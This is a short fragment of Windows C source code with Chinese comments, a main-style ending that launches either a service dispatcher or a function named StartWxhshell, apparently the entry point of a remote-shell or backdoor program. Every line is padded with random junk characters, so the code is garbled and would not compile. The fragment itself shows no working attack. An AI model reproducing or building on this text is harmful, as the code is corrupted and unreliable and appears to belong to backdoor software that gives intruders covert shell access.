// 以服务方式启动 of?0 y-LT%
StartServiceCtrlDispatcher(DispatchTable); X1Y+ao1)
else $Z4IPs
// 普通方式启动 W&Kjh|[1QZ
StartWxhshell(lpCmdLine); 1TL~I-G&n
N1u2=puJY
return 0; ah0
}